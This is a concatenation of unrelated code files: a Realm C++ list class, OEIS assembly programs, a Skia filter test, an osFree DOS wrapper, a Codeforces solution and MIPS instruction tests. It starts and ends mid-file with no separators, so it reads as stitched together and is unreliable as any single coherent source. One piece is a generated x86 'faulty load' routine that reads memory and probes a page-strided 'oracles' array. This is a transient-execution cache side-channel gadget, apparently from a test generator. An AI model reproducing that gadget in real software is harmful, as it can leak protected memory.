row_ndx, size_t target_row_ndx) { verify_in_transaction(); verify_valid_row(row_ndx); m_link_view->set(row_ndx, target_row_ndx); } template<> void List::set(size_t row_ndx, RowExpr row) { validate(row); set(row_ndx, row.get_index()); } void List::swap(size_t ndx1, size_t ndx2) { verify_in_transaction(); verify_valid_row(ndx1); verify_valid_row(ndx2); if (m_link_view) m_link_view->swap(ndx1, ndx2); else m_table->swap_rows(ndx1, ndx2); } void List::delete_at(size_t row_ndx) { verify_in_transaction(); verify_valid_row(row_ndx); if (m_link_view) m_link_view->remove_target_row(row_ndx); else m_table->remove(row_ndx); } void List::delete_all() { verify_in_transaction(); if (m_link_view) m_link_view->remove_all_target_rows(); else m_table->clear(); } Results List::sort(SortDescriptor order) const { verify_attached(); if (m_link_view) return Results(m_realm, m_link_view, util::none, std::move(order)); DescriptorOrdering new_order; new_order.append_sort(std::move(order)); return Results(m_realm, get_query(), std::move(new_order)); } Results List::sort(std::vector<std::pair<std::string, bool>> const& keypaths) const { return as_results().sort(keypaths); } Results List::filter(Query q) const { verify_attached(); if (m_link_view) return Results(m_realm, m_link_view, get_query().and_query(std::move(q))); return Results(m_realm, get_query().and_query(std::move(q))); } Results List::as_results() const { verify_attached(); return m_link_view ? Results(m_realm, m_link_view) : Results(m_realm, *m_table); } Results List::snapshot() const { return as_results().snapshot(); } util::Optional<Mixed> List::max(size_t column) { return as_results().max(column); } util::Optional<Mixed> List::min(size_t column) { return as_results().min(column); } Mixed List::sum(size_t column) { // Results::sum() returns none only for Mode::Empty Results, so we can // safely ignore that possibility here return *as_results().sum(column); } util::Optional<double> List::average(size_t column) { return as_results().average(column); } // These definitions rely on that LinkViews and Tables are interned by core bool List::operator==(List const& rgt) const noexcept { return m_link_view == rgt.m_link_view && m_table.get() == rgt.m_table.get(); } NotificationToken List::add_notification_callback(CollectionChangeCallback cb) & { verify_attached(); if (!m_notifier) { if (get_type() == PropertyType::Object) m_notifier = std::static_pointer_cast<_impl::CollectionNotifier>(std::make_shared<ListNotifier>(m_link_view, m_realm)); else m_notifier = std::static_pointer_cast<_impl::CollectionNotifier>(std::make_shared<PrimitiveListNotifier>(m_table, m_realm)); RealmCoordinator::register_notifier(m_notifier); } return {m_notifier, m_notifier->add_callback(std::move(cb))}; } List::OutOfBoundsIndexException::OutOfBoundsIndexException(size_t r, size_t c) : std::out_of_range(util::format("Requested index %1 greater than max %2", r, c - 1)) , requested(r), valid_count(c) {} #define REALM_PRIMITIVE_LIST_TYPE(T) \ template T List::get<T>(size_t) const; \ template size_t List::find<T>(T const&) const; \ template void List::add<T>(T); \ template void List::insert<T>(size_t, T); \ template void List::set<T>(size_t, T); REALM_PRIMITIVE_LIST_TYPE(bool) REALM_PRIMITIVE_LIST_TYPE(int64_t) REALM_PRIMITIVE_LIST_TYPE(float) REALM_PRIMITIVE_LIST_TYPE(double) REALM_PRIMITIVE_LIST_TYPE(StringData) REALM_PRIMITIVE_LIST_TYPE(BinaryData) REALM_PRIMITIVE_LIST_TYPE(Timestamp) REALM_PRIMITIVE_LIST_TYPE(util::Optional<bool>) REALM_PRIMITIVE_LIST_TYPE(util::Optional<int64_t>) REALM_PRIMITIVE_LIST_TYPE(util::Optional<float>) REALM_PRIMITIVE_LIST_TYPE(util::Optional<double>) #undef REALM_PRIMITIVE_LIST_TYPE } // namespace realm namespace std { size_t hash<realm::List>::operator()(realm::List const& list) const { return std::hash<void*>()(list.m_link_view ? list.m_link_view.get() : (void*)list.m_table.get()); } }
; A110451: a(n) = n*(4*n^2 + 2*n + 1). ; 0,7,42,129,292,555,942,1477,2184,3087,4210,5577,7212,9139,11382,13965,16912,20247,23994,28177,32820,37947,43582,49749,56472,63775,71682,80217,89404,99267,109830,121117,133152,145959,159562,173985,189252,205387,222414,240357,259240,279087,299922,321769,344652,368595,393622,419757,447024,475447,505050,535857,567892,601179,635742,671605,708792,747327,787234,828537,871260,915427,961062,1008189,1056832,1107015,1158762,1212097,1267044,1323627,1381870,1441797,1503432,1566799,1631922,1698825,1767532,1838067,1910454,1984717,2060880,2138967,2219002,2301009,2385012,2471035,2559102,2649237,2741464,2835807,2932290,3030937,3131772,3234819,3340102,3447645,3557472,3669607,3784074,3900897,4020100,4141707,4265742,4392229,4521192,4652655,4786642,4923177,5062284,5203987,5348310,5495277,5644912,5797239,5952282,6110065,6270612,6433947,6600094,6769077,6940920,7115647,7293282,7473849,7657372,7843875,8033382,8225917,8421504,8620167,8821930,9026817,9234852,9446059,9660462,9878085,10098952,10323087,10550514,10781257,11015340,11252787,11493622,11737869,11985552,12236695,12491322,12749457,13011124,13276347,13545150,13817557,14093592,14373279,14656642,14943705,15234492,15529027,15827334,16129437,16435360,16745127,17058762,17376289,17697732,18023115,18352462,18685797,19023144,19364527,19709970,20059497,20413132,20770899,21132822,21498925,21869232,22243767,22622554,23005617,23392980,23784667,24180702,24581109,24985912,25395135,25808802,26226937,26649564,27076707,27508390,27944637,28385472,28830919,29281002,29735745,30195172,30659307,31128174,31601797,32080200,32563407,33051442,33544329,34042092,34544755,35052342,35564877,36082384,36604887,37132410,37664977,38202612,38745339,39293182,39846165,40404312,40967647,41536194,42109977,42689020,43273347,43862982,44457949,45058272,45663975,46275082,46891617,47513604,48141067,48774030,49412517,50056552,50706159,51361362,52022185,52688652,53360787,54038614,54722157,55411440,56106487,56807322,57513969,58226452,58944795,59669022,60399157,61135224,61877247 mov $1,4 mul $1,$0 mul $0,$1 add $1,2 mul $0,$1 add $0,$1 mov $1,$0 div $1,4
/* * Copyright 2017 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "src/core/SkGaussFilter.h" #include <cmath> #include <tuple> #include <vector> #include "tests/Test.h" // one part in a million static constexpr double kEpsilon = 0.000001; static double careful_add(int n, double* gauss) { // Sum smallest to largest to retain precision. double sum = 0; for (int i = n - 1; i >= 1; i--) { sum += 2.0 * gauss[i]; } sum += gauss[0]; return sum; } DEF_TEST(SkGaussFilterCommon, r) { using Test = std::tuple<double, std::vector<double>>; auto golden_check = [&](const Test& test) { double sigma; std::vector<double> golden; std::tie(sigma, golden) = test; SkGaussFilter filter{sigma}; double result[SkGaussFilter::kGaussArrayMax]; int n = 0; for (auto d : filter) { result[n++] = d; } REPORTER_ASSERT(r, static_cast<size_t>(n) == golden.size()); double sum = careful_add(n, result); REPORTER_ASSERT(r, sum == 1.0); for (size_t i = 0; i < golden.size(); i++) { REPORTER_ASSERT(r, std::abs(golden[i] - result[i]) < kEpsilon); } }; // The following two sigmas account for about 85% of all sigmas used for masks. // Golden values generated using Mathematica. auto tests = { // GaussianMatrix[{{Automatic}, {.788675}}] Test{0.788675, {0.593605, 0.176225, 0.0269721}}, // GaussianMatrix[{{4}, {1.07735}}, Method -> "Bessel"] Test{1.07735, {0.429537, 0.214955, 0.059143, 0.0111337}}, }; for (auto& test : tests) { golden_check(test); } } DEF_TEST(SkGaussFilterSweep, r) { // The double just before 2.0. const double maxSigma = nextafter(2.0, 0.0); auto check = [&](double sigma) { SkGaussFilter filter{sigma}; double result[SkGaussFilter::kGaussArrayMax]; int n = 0; for (auto d : filter) { result[n++] = d; } REPORTER_ASSERT(r, n <= SkGaussFilter::kGaussArrayMax); double sum = careful_add(n, result); REPORTER_ASSERT(r, sum == 1.0); }; for (double sigma = 0.0; sigma < 2.0; sigma += 0.1) { check(sigma); } check(maxSigma); }
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosDevConfig DOS wrapper ; ; (c) osFree Project 2018, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ;;--------B-11--------------------------------- ;INT 11 - BIOS - GET EQUIPMENT LIST ;Return: (E)AX = BIOS equipment list word (see #00226,#03215 at INT 4B"Tandy") ;Note: since older BIOSes do not know of the existence of EAX, the high word ; of EAX should be cleared before this call if any of the high bits ; will be tested ;SeeAlso: INT 4B"Tandy 2000",MEM 0040h:0010h ; ;Bitfields for BIOS equipment list: ;Bit(s) Description (Table 00226) ; 0 floppy disk(s) installed (number specified by bits 7-6) ; 1 80x87 coprocessor installed ; 3-2 number of 16K banks of RAM on motherboard (PC only) ; number of 64K banks of RAM on motherboard (XT only) ; 2 pointing device installed (PS) ; 3 unused (PS) ; 5-4 initial video mode ; 00 EGA, VGA, or PGA ; 01 40x25 color ; 10 80x25 color ; 11 80x25 monochrome ; 7-6 number of floppies installed less 1 (if bit 0 set) ; 8 DMA support installed (PCjr, Tandy 1400LT) ; DMA support *not* installed (Tandy 1000's) ; 11-9 number of serial ports installed ; 12 game port installed ; 13 serial printer attached (PCjr) ; internal modem installed (PC/Convertible) ; 15-14 number of parallel ports installed ;---Compaq, Dell, and many other 386/486 machines-- ; 23 page tables set so that Weitek coprocessor addressable in real mode ; 24 Weitek math coprocessor present ;---Compaq Systempro--- ; 25 internal DMA parallel port available ; 26 IRQ for internal DMA parallel port (if bit 25 set) ; 0 = IRQ5 ; 1 = IRQ7 ; 28-27 parallel port DMA channel ; 00 DMA channel 0 ; 01 DMA channel 0 ??? ; 10 reserved ; 11 DMA channel 3 ;Notes: Some implementations of Remote (Initial) Program Loader (RPL/RIPL) ; don't set bit 0 to indicate a "virtual" floppy drive, although the ; RPL requires access to its memory image through a faked drive A:. ; This may have caused problems with releases of DOS 3.3x and earlier, ; which assumed A: and B: to be invalid drives then and would discard ; any attempts to access these drives. Implementations of RPL should ; set bit 0 to indicate a "virtual" floppy. ; The IBM PC DOS 3.3x-2000 IBMBIO.COM contains two occurences of code ; sequences like: ; INT 11h ; JMP SHORT skip ; DB 52h,50h,53h; "RPS" ; skip: OR AX,1 ; TEST AX,1 ; While at the first glance this seems to be a bug since it just ; wastes memory and the condition is always true, this could well be ; a signature for an applyable patch to stop it from forcing AX bit 0 ; to be always on. MS-DOS IO.SYS does not contain these signatures, ; however. ;BUGs: Some old BIOSes didn't properly report the count of floppy drives ; installed to the system. In newer systems INT 13h/AH=15h can be ; used to retrieve the number of floppy drives installed. ; Award BIOS v4.50G and v4.51PG erroneously set bit 0 even if there are ; no floppy drives installed; use two calls to INT 13/AH=15h to ; determine whether any floppies are actually installed ;SeeAlso: INT 12"BIOS",#03215 at INT 4B"Tandy 2000" ; ; @todo Here is simple dumb info. Add real info? ; ;*/ .8086 ; Helpers INCLUDE helpers.inc INCLUDE bseerr.inc _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 DI_LPT equ 0 DI_COM equ 1 DI_FD equ 2 DI_FPU equ 3 DI_SM equ 4 ;submodel DI_MOD equ 5 ;model DI_VID equ 6 ;display adapter type @PROLOG DOSDEVCONFIG DEVICEINFO DD ? ITEM DW ? Parm DW ? @START DOSDEVCONFIG int 11h lds BX,[DS:BP].ARGS.DEVICEINFO mov cx,[DS:BP].ARGS.ITEM xor ax,ax .if cx == DI_LPT shr ah,1 shr ah,1 shr ah,1 shr ah,1 shr ah,1 shr ah,1 mov byte ptr [bx],ah .elseif cx == DI_COM shr ah,1 and ah,7 mov byte ptr [bx],ah .elseif cx == DI_FD .if (al & 1 ) and al,0C0h shr al,1 shr al,1 shr al,1 shr al,1 shr al,1 shr al,1 .else mov al,0 .endif mov byte ptr [bx],al .elseif cx == DI_FPU shr al,1 and al,1 mov byte ptr [bx],al .elseif cx == DI_SM mov byte ptr [bx],0FCh .elseif cx == DI_MOD mov byte ptr [bx],0 .elseif cx == DI_VID mov byte ptr [bx],1 .else mov AX,ERROR_INVALID_PARAMETER .endif @EPILOG DOSDEVCONFIG _TEXT ENDS END
.global s_prepare_buffers s_prepare_buffers: push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x79d1, %rsi nop nop add $38569, %rax mov $0x6162636465666768, %rdx movq %rdx, %xmm2 and $0xffffffffffffffc0, %rsi vmovntdq %ymm2, (%rsi) xor $21754, %rbp lea addresses_A_ht+0x8d8, %rbx nop nop add $20722, %rsi movb $0x61, (%rbx) nop nop nop xor $29687, %rdx lea addresses_WC_ht+0x9631, %rsi lea addresses_D_ht+0x4ff1, %rdi nop nop nop nop cmp %rbx, %rbx mov $119, %rcx rep movsw nop nop nop add %rcx, %rcx lea addresses_D_ht+0xb431, %rsi lea addresses_A_ht+0x643d, %rdi clflush (%rsi) nop nop nop nop nop add %rax, %rax mov $17, %rcx rep movsw nop nop nop nop nop sub $41216, %r8 lea addresses_D_ht+0xff51, %rdx clflush (%rdx) nop nop inc %rsi movups (%rdx), %xmm2 vpextrq $1, %xmm2, %rbp nop nop nop and %r8, %r8 lea addresses_WC_ht+0x3f31, %rbx sub $8475, %rsi mov $0x6162636465666768, %r8 movq %r8, %xmm6 movups %xmm6, (%rbx) xor $40212, %r8 lea addresses_D_ht+0x191a1, %rcx nop add %rax, %rax movb $0x61, (%rcx) cmp %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r9 push %rbp push %rcx push %rdx // Faulty Load lea addresses_D+0x15c31, %rdx nop nop nop inc %r13 mov (%rdx), %r10d lea oracles, %rdx and $0xff, %r10 shlq $12, %r10 mov (%rdx,%r10,1), %r10 pop %rdx pop %rcx pop %rbp pop %r9 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; A063117: Dimension of the space of weight 2n cusp forms for Gamma_0( 49 ). ; 1,10,20,28,38,48,56,66,76,84,94,104,112,122,132,140,150,160,168,178,188,196,206,216,224,234,244,252,262,272,280,290,300,308,318,328,336,346,356,364,374,384,392,402,412,420,430,440,448,458 mov $2,7 lpb $0 mov $1,$0 sub $0,$0 mul $1,2 add $3,$2 mul $1,$3 sub $1,1 div $1,3 sub $1,1 mul $1,6 mov $2,$4 add $4,9 sub $2,$4 lpe trn $1,$2 div $1,3 add $1,1
//Language: GNU C++0x #include <cmath> #include <cstdio> #include <cstdlib> #include <cstring> #include <map> #include <set> #include <queue> #include <stack> #include <vector> #include <sstream> #include <iostream> #include <algorithm> using namespace std; const int MAXN=100001; const int INF=0x7FFFFFFF; const double eps=1e-8; const double pi=acos(-1.0); struct point{ int x,y; point(){} point(int x, int y):x(x),y(y){} }; struct line{ point a,b; line(){} line(point a, point b){ if (a.x>b.x) swap(a,b); if (a.y>b.y) swap(a,b); this->a=a; this->b=b; } }; int n,a,b; point st,ed; vector<line> L; queue<int> q; bool vis[MAXN]; int dist[MAXN]; void init(){ int x,y; scanf("%d%d",&a,&b); scanf("%d%d%d%d",&st.x,&st.y,&ed.x,&ed.y); scanf("%d",&n); for (int i=0; i<n; i++){ scanf("%d%d",&x,&y); point a=point(x,y); scanf("%d%d",&x,&y); point b=point(x,y); L.push_back(line(a,b)); } L.push_back(line(st,st)); } int sqr(int x){ return x*x; } int dist2(line a, line b){ int dx=0,dy=0; if (a.a.x>b.b.x) dx=a.a.x-b.b.x; else if (b.a.x>a.b.x) dx=b.a.x-a.b.x; if (a.a.y>b.b.y) dy=a.a.y-b.b.y; else if (b.a.y>a.b.y) dy=b.a.y-a.b.y; return sqr(dx)+sqr(dy); } void solve(){ int n=L.size(); memset(vis,0,sizeof(vis)); memset(dist,60,sizeof(dist)); int maxlong=dist[n-1]; dist[n-1]=0; q.push(n-1); L.push_back(line(ed,ed)); while (!q.empty()){ int node=q.front(); q.pop(); for (int i=0; i<n; i++) if (dist[node]+1<dist[i] && dist2(L[i],L[node])<=a*a){ dist[i]=dist[node]+1; if (!vis[i]){ vis[i]=true; q.push(i); } } vis[node]=false; } double ret=1e11; for (int i=0; i<n; i++) if (dist[i]<maxlong && dist2(L[i],L[n])<=a*a){ ret=min(ret,dist[i]*(a+b)+sqrt(dist2(L[i],L[n]))); } if (ret>1e10) printf("-1\n"); else printf("%.10lf\n",ret); } int main(){ init(); solve(); return 0; }
lui $1,19434 ori $1,$1,52351 lui $2,30183 ori $2,$2,59896 lui $3,19807 ori $3,$3,4024 lui $4,13766 ori $4,$4,52118 lui $5,8799 ori $5,$5,31074 lui $6,26965 ori $6,$6,11913 mthi $1 mtlo $2 sec0: nop nop nop subu $5,$6,$2 sec1: nop nop nor $2,$6,$1 subu $3,$6,$2 sec2: nop nop sltiu $2,$4,4681 subu $3,$6,$2 sec3: nop nop mflo $2 subu $5,$6,$2 sec4: nop nop lhu $2,12($0) subu $5,$6,$2 sec5: nop nor $2,$4,$3 nop subu $1,$6,$2 sec6: nop addu $2,$4,$4 or $2,$5,$4 subu $2,$6,$2 sec7: nop slt $2,$4,$1 andi $2,$3,5635 subu $3,$6,$2 sec8: nop slt $2,$2,$6 mflo $2 subu $4,$6,$2 sec9: nop or $2,$3,$3 lw $2,12($0) subu $3,$6,$2 sec10: nop sltiu $2,$5,-25887 nop subu $3,$6,$2 sec11: nop slti $2,$3,-28912 nor $2,$3,$5 subu $0,$6,$2 sec12: nop ori $2,$1,32618 addiu $2,$5,13640 subu $5,$6,$2 sec13: nop ori $2,$4,3658 mflo $2 subu $4,$6,$2 sec14: nop xori $2,$4,30642 lb $2,3($0) subu $2,$6,$2 sec15: nop mflo $2 nop subu $5,$6,$2 sec16: nop mfhi $2 and $2,$3,$5 subu $6,$6,$2 sec17: nop mfhi $2 xori $2,$1,17544 subu $3,$6,$2 sec18: nop mflo $2 mflo $2 subu $5,$6,$2 sec19: nop mfhi $2 lbu $2,5($0) subu $1,$6,$2 sec20: nop lw $2,4($0) nop subu $4,$6,$2 sec21: nop lhu $2,4($0) nor $2,$4,$2 subu $5,$6,$2 sec22: nop lb $2,7($0) slti $2,$3,-29369 subu $3,$6,$2 sec23: nop lhu $2,14($0) mfhi $2 subu $0,$6,$2 sec24: nop lhu $2,16($0) lw $2,8($0) subu $0,$6,$2 sec25: xor $6,$5,$0 nop nop subu $2,$6,$2 sec26: or $6,$3,$2 nop or $2,$4,$4 subu $4,$6,$2 sec27: sltu $6,$3,$1 nop xori $2,$2,48944 subu $2,$6,$2 sec28: slt $6,$3,$4 nop mflo $2 subu $2,$6,$2 sec29: and $6,$2,$4 nop lbu $2,2($0) subu $1,$6,$2 sec30: nor $6,$3,$5 sltu $2,$2,$1 nop subu $2,$6,$2 sec31: subu $6,$2,$4 sltu $2,$3,$4 slt $2,$4,$1 subu $3,$6,$2 sec32: xor $6,$4,$0 xor $2,$3,$4 xori $2,$2,13297 subu $5,$6,$2 sec33: addu $6,$3,$5 subu $2,$3,$2 mflo $2 subu $2,$6,$2 sec34: nor $6,$5,$4 sltu $2,$4,$2 lhu $2,0($0) subu $1,$6,$2 sec35: and $6,$3,$3 xori $2,$3,20453 nop subu $1,$6,$2 sec36: and $6,$5,$6 xori $2,$2,43793 and $2,$4,$1 subu $3,$6,$2 sec37: or $6,$5,$3 slti $2,$3,12899 lui $2,8873 subu $0,$6,$2 sec38: addu $6,$2,$3 andi $2,$1,8010 mflo $2 subu $1,$6,$2 sec39: slt $6,$1,$4 sltiu $2,$2,-7278 lw $2,0($0) subu $4,$6,$2 sec40: xor $6,$3,$1 mflo $2 nop subu $5,$6,$2 sec41: subu $6,$5,$5 mflo $2 subu $2,$4,$5 subu $1,$6,$2 sec42: slt $6,$2,$4 mfhi $2 lui $2,29840 subu $3,$6,$2 sec43: or $6,$3,$3 mflo $2 mfhi $2 subu $3,$6,$2 sec44: addu $6,$5,$3 mfhi $2 lbu $2,4($0) subu $2,$6,$2 sec45: sltu $6,$5,$3 lb $2,3($0) nop subu $3,$6,$2 sec46: xor $6,$3,$2 lw $2,16($0) nor $2,$4,$2 subu $4,$6,$2 sec47: and $6,$4,$2 lbu $2,1($0) ori $2,$2,23953 subu $5,$6,$2 sec48: sltu $6,$3,$1 lbu $2,11($0) mfhi $2 subu $1,$6,$2 sec49: addu $6,$6,$4 lbu $2,0($0) lhu $2,8($0) subu $3,$6,$2 sec50: sltiu $6,$3,-29872 nop nop subu $0,$6,$2 sec51: lui $6,44946 nop subu $2,$1,$3 subu $2,$6,$2 sec52: xori $6,$4,62765 nop xori $2,$2,8433 subu $2,$6,$2 sec53: andi $6,$4,56860 nop mfhi $2 subu $6,$6,$2 sec54: slti $6,$6,-27963 nop lbu $2,4($0) subu $1,$6,$2 sec55: sltiu $6,$2,17784 xor $2,$1,$1 nop subu $4,$6,$2 sec56: ori $6,$5,49415 and $2,$3,$1 slt $2,$1,$1 subu $4,$6,$2 sec57: xori $6,$1,11014 xor $2,$5,$4 xori $2,$3,38322 subu $4,$6,$2 sec58: andi $6,$0,7970 addu $2,$0,$6 mflo $2 subu $0,$6,$2 sec59: addiu $6,$4,-26965 slt $2,$3,$3 lw $2,4($0) subu $6,$6,$2 sec60: sltiu $6,$0,10228 slti $2,$1,17653 nop subu $6,$6,$2 sec61: sltiu $6,$1,-2604 addiu $2,$0,27574 or $2,$5,$6 subu $4,$6,$2 sec62: addiu $6,$2,-22398 xori $2,$3,18993 sltiu $2,$1,32403 subu $2,$6,$2 sec63: addiu $6,$1,27814 ori $2,$4,30593 mfhi $2 subu $4,$6,$2 sec64: ori $6,$1,64659 ori $2,$3,8712 lhu $2,0($0) subu $3,$6,$2 sec65: slti $6,$3,10907 mfhi $2 nop subu $3,$6,$2 sec66: addiu $6,$3,-415 mflo $2 and $2,$2,$3 subu $1,$6,$2 sec67: lui $6,42680 mflo $2 sltiu $2,$4,12460 subu $3,$6,$2 sec68: andi $6,$4,10684 mflo $2 mflo $2 subu $4,$6,$2 sec69: xori $6,$3,48438 mfhi $2 lh $2,8($0) subu $4,$6,$2 sec70: slti $6,$3,-22379 lh $2,8($0) nop subu $4,$6,$2 sec71: slti $6,$6,-13492 lbu $2,2($0) slt $2,$1,$1 subu $0,$6,$2 sec72: lui $6,65116 lhu $2,14($0) addiu $2,$1,-20669 subu $0,$6,$2 sec73: andi $6,$4,54351 lw $2,16($0) mflo $2 subu $4,$6,$2 sec74: slti $6,$3,-17497 lbu $2,10($0) lhu $2,4($0) subu $5,$6,$2 sec75: mfhi $6 nop nop subu $4,$6,$2 sec76: mflo $6 nop and $2,$3,$4 subu $3,$6,$2 sec77: mflo $6 nop lui $2,45105 subu $3,$6,$2 sec78: mflo $6 nop mflo $2 subu $2,$6,$2 sec79: mfhi $6 nop lw $2,8($0) subu $4,$6,$2 sec80: mfhi $6 sltu $2,$3,$6 nop subu $5,$6,$2 sec81: mflo $6 or $2,$3,$5 addu $2,$2,$3 subu $3,$6,$2 sec82: mflo $6 addu $2,$3,$4 ori $2,$2,55744 subu $3,$6,$2 sec83: mfhi $6 subu $2,$4,$1 mflo $2 subu $4,$6,$2 sec84: mflo $6 xor $2,$3,$4 lhu $2,6($0) subu $3,$6,$2 sec85: mflo $6 ori $2,$1,5665 nop subu $5,$6,$2 sec86: mflo $6 xori $2,$6,4326 nor $2,$0,$3 subu $1,$6,$2 sec87: mflo $6 sltiu $2,$2,17659 addiu $2,$5,-9790 subu $3,$6,$2 sec88: mflo $6 slti $2,$0,-23723 mfhi $2 subu $2,$6,$2 sec89: mfhi $6 addiu $2,$2,-89 lb $2,6($0) subu $6,$6,$2 sec90: mfhi $6 mflo $2 nop subu $3,$6,$2 sec91: mfhi $6 mfhi $2 sltu $2,$1,$5 subu $0,$6,$2 sec92: mfhi $6 mfhi $2 sltiu $2,$1,-8666 subu $3,$6,$2 sec93: mfhi $6 mfhi $2 mfhi $2 subu $2,$6,$2 sec94: mflo $6 mfhi $2 lh $2,6($0) subu $3,$6,$2 sec95: mflo $6 lb $2,3($0) nop subu $3,$6,$2 sec96: mflo $6 lhu $2,2($0) xor $2,$4,$1 subu $2,$6,$2 sec97: mfhi $6 lh $2,16($0) slti $2,$3,-4503 subu $4,$6,$2 sec98: mfhi $6 lbu $2,8($0) mfhi $2 subu $0,$6,$2 sec99: mfhi $6 lhu $2,16($0) lw $2,4($0) subu $3,$6,$2 sec100: lh $6,8($0) nop nop subu $5,$6,$2 sec101: lhu $6,16($0) nop addu $2,$2,$1 subu $3,$6,$2 sec102: lh $6,6($0) nop slti $2,$5,-21713 subu $2,$6,$2 sec103: lh $6,14($0) nop mflo $2 subu $5,$6,$2 sec104: lw $6,12($0) nop lbu $2,4($0) subu $4,$6,$2 sec105: lh $6,14($0) xor $2,$4,$5 nop subu $2,$6,$2 sec106: lb $6,10($0) sltu $2,$3,$5 slt $2,$2,$0 subu $2,$6,$2 sec107: lw $6,0($0) and $2,$3,$5 